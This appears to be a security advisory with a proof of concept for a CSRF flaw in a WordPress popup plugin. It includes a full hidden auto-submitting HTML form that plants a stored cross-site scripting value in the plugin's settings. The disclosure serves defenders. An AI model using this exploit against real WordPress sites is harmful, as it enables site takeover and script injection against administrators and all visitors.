Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
https://wordpress.org/plugins/cf7-sweet-alert-popup/
The plugin's settings handler contains a logic error in its nonce verification disabling all CSRF protection.
An unauthenticated attacker can exploit this by tricking an authenticated administrator into visiting a malicious page with a hidden auto-submitting form, arbitrarily modifying the plugin settings.
The submitted values are stored without sanitization and injected verbatim into a <script> block on every frontend page via wp_head, resulting in site-wide stored XSS affecting all visitors.
- Host the following HTML page on a separate server:
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<iframe name="hiddenframe" style="display:none"></iframe>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
- Log in to WordPress as an administrator
- Visit the malicious page
- (Optional) Navigate to http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirm the Width field now contains 500;alert(document.domain)
- Visit any frontend page, alert(document.domain) executes in the browser confirming stored XSS